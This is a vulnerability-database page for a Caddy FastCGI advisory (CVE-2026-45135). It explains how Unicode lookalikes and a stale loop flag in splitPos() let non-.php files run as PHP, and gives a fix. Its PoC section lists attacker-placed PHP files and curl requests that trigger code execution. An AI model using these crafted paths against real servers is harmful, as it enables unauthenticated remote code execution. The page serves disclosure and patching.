Vulnerability-Lookup

GHSA-M675-2P33-XV9G

Vulnerability from github – Published: 2026-05-18 13:40 – Updated: 2026-07-20 13:42

Summary

Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files

Details

Summary

The FastCGI transport's splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-.php (or other configured split_path extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This function was adapted from FrankenPHP's code (see the source comment) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as GHSA-3g8v-8r37-cgjm (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.

Details

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func (t Transport) splitPos(path string) int {
    if len(t.SplitPath) == 0 {
        return 0
    }
    pathLen := len(path)
    for _, split := range t.SplitPath {
        splitLen := len(split)
        for i := range pathLen {
            if path[i] >= utf8.RuneSelf {
                if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                    return end
                }
                break
            }
            if i+splitLen > pathLen {
                continue
            }
            match := true
            for j := range splitLen {
                c := path[i+j]
                if c >= utf8.RuneSelf {
                    if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                        return end
                    }
                    break // <-- flaw 1: 'match' is still true
                }
                if 'A' <= c && c <= 'Z' {
                    c += 'a' - 'A'
                }
                if c != split[j] {
                    match = false
                    break
                }
            }
            if match {
                return i + splitLen
            }
        }
    }
    return -1
}

Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, ．php, .ｐhp, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case SplitPath entry against an arbitrary path. Provision() already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Run against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by split_path). Caddyfile:

:8080 {
    root * /app/public
    php_fastcgi unix//run/php/php-fpm.sock
}

Place attacker-controlled files in /app/public:

/app/public/poc-match-unset.\xc2\xa1. — <?php echo "marker=flaw1\n";
/app/public/poc-search-norm.𝗽𝗵𝗽 — <?php echo "marker=flaw2\n";

Trigger:

# baseline (correctly NOT routed to PHP)
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger"

# flaw 1 — the .¡.txt file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

A standalone reproducer of splitPos() in isolation (no Caddy build needed) is included in GHSA-3g8v-8r37-cgjm; the function in this module is the same logic, so the same payloads apply.

Impact

Comparable to the previous FastCGI split_path issue (GHSA-g966-83w7-6w38 / CVE-2026-24895) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors — the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).

Patch

Drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. SplitPath entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See fix/fastcgi-splitpos-unicode-bypass (commit 4ddad83c) for the implementation and regression tests.

Credit

Both flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending splitPos() function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-178",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:40:58Z",
    "nvd_published_at": "2026-06-23T18:17:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe FastCGI transport\u0027s `splitPos()` in [`modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go`](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy\u0027s FastCGI splitting into treating a non-`.php` (or other configured `split_path` extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis function was adapted from FrankenPHP\u0027s code (see [the source comment](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go#L429)) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm) (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc (t Transport) splitPos(path string) int {\n\tif len(t.SplitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range t.SplitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := range pathLen {\n\t\t\tif path[i] \u003e= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen \u003e pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := range splitLen {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c \u003e= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // \u003c-- flaw 1: \u0027match\u0027 is still true\n\t\t\t\t}\n\t\t\t\tif \u0027A\u0027 \u003c= c \u0026\u0026 c \u003c= \u0027Z\u0027 {\n\t\t\t\t\tc += \u0027a\u0027 - \u0027A\u0027\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 \u2014 Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c \u003e= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.\u003cU+00A1\u003e.txt` gets routed as PHP.\n\n#### Flaw 2 \u2014 Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `\ufe52php`, `\uff0ephp`, `.\uff50hp`, `.\u24df\u24d7\u24df`, `.\ud835\uddfd\ud835\uddf5\ud835\uddfd`, `.\ud835\udcc5\ud835\udcbd\ud835\udcc5`, `.\ud835\udd95\ud835\udd8d\ud835\udd95`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case `SplitPath` entry against an arbitrary path. `Provision()` already guarantees every entry is ASCII and lower-cased, so any byte `\u003e= utf8.RuneSelf` in the path can never be part of a legitimate match \u2014 but the fallback ignored that guarantee.\n\n### PoC\n\nRun against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by `split_path`). Caddyfile:\n\n```text\n:8080 {\n    root * /app/public\n    php_fastcgi unix//run/php/php-fpm.sock\n}\n```\n\nPlace attacker-controlled files in `/app/public`:\n\n- `/app/public/poc-match-unset.\\xc2\\xa1.` \u2014 `\u003c?php echo \"marker=flaw1\\n\";`\n- `/app/public/poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd` \u2014 `\u003c?php echo \"marker=flaw2\\n\";`\n\nTrigger:\n\n```bash\n# baseline (correctly NOT routed to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm/trigger\"\n\n# flaw 1 \u2014 the .\u00a1.txt file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 \u2014 the .\ud835\uddfd\ud835\uddf5\ud835\uddfd file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\nA standalone reproducer of `splitPos()` in isolation (no Caddy build needed) is included in [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm); the function in this module is the same logic, so the same payloads apply.\n\n### Impact\n\nComparable to the previous FastCGI `split_path` issue ([GHSA-g966-83w7-6w38 / CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38)) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds \u2014 common in upload endpoints, user-content stores, package mirrors \u2014 the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 High (8.1).\n\n### Patch\n\nDrop the `golang.org/x/text/search` fallback entirely and treat any byte `\u003e= utf8.RuneSelf` in the path as a non-match. `SplitPath` entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See `fix/fastcgi-splitpos-unicode-bypass` (commit `4ddad83c`) for the implementation and regression tests.\n\n### Credit\n\nBoth flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending `splitPos()` function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.",
  "id": "GHSA-m675-2p33-xv9g",
  "modified": "2026-07-20T13:42:54Z",
  "published": "2026-05-18T13:40:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-m675-2p33-xv9g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45135"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files"
}

CVE-2026-45135 (GCVE-0-2026-45135)

Vulnerability from cvelistv5 – Published: 2026-06-23 17:56 – Updated: 2026-06-23 18:30

Title

Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files

Summary

Caddy is an extensible server platform that uses TLS by default. From 2.7.0 until 2.11.3, the FastCGI transport's splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-.php (or other configured split_path extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw. This vulnerability is fixed in 2.11.3.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-23 18:30 UTC

CWE

CWE-20 - Improper Input Validation
CWE-176 - Improper Handling of Unicode Encoding
CWE-178 - Improper Handling of Case Sensitivity

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/caddyserver/caddy/security/adv…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
caddyserver	caddy	Affected: >= 2.7.0, < 2.11.3

Show details on NVD website

JSON

To clipboard

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  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45135",
                "options": [
                  {
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                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-23T18:30:00.592778Z",
                "version": "2.0.3"
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          "dateUpdated": "2026-06-23T18:30:27.933Z",
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          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
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            "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-m675-2p33-xv9g"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "caddy",
          "vendor": "caddyserver",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.7.0, \u003c 2.11.3"
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      "descriptions": [
        {
          "lang": "en",
          "value": "Caddy is an extensible server platform that uses TLS by default. From 2.7.0 until 2.11.3, the FastCGI transport\u0027s splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy\u0027s FastCGI splitting into treating a non-.php (or other configured split_path extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw. This vulnerability is fixed in 2.11.3."
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          "descriptions": [
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        }
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      "source": {
        "advisory": "GHSA-m675-2p33-xv9g",
        "discovery": "UNKNOWN"
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      "title": "Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files"
    }
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  },
  "dataType": "CVE_RECORD",
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-M675-2P33-XV9G

Summary

Details

Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

PoC

Impact

Patch

Credit

CVE-2026-45135 (GCVE-0-2026-45135)

Tags

Sightings

Nomenclature

Related by attack behaviour

Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback

Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII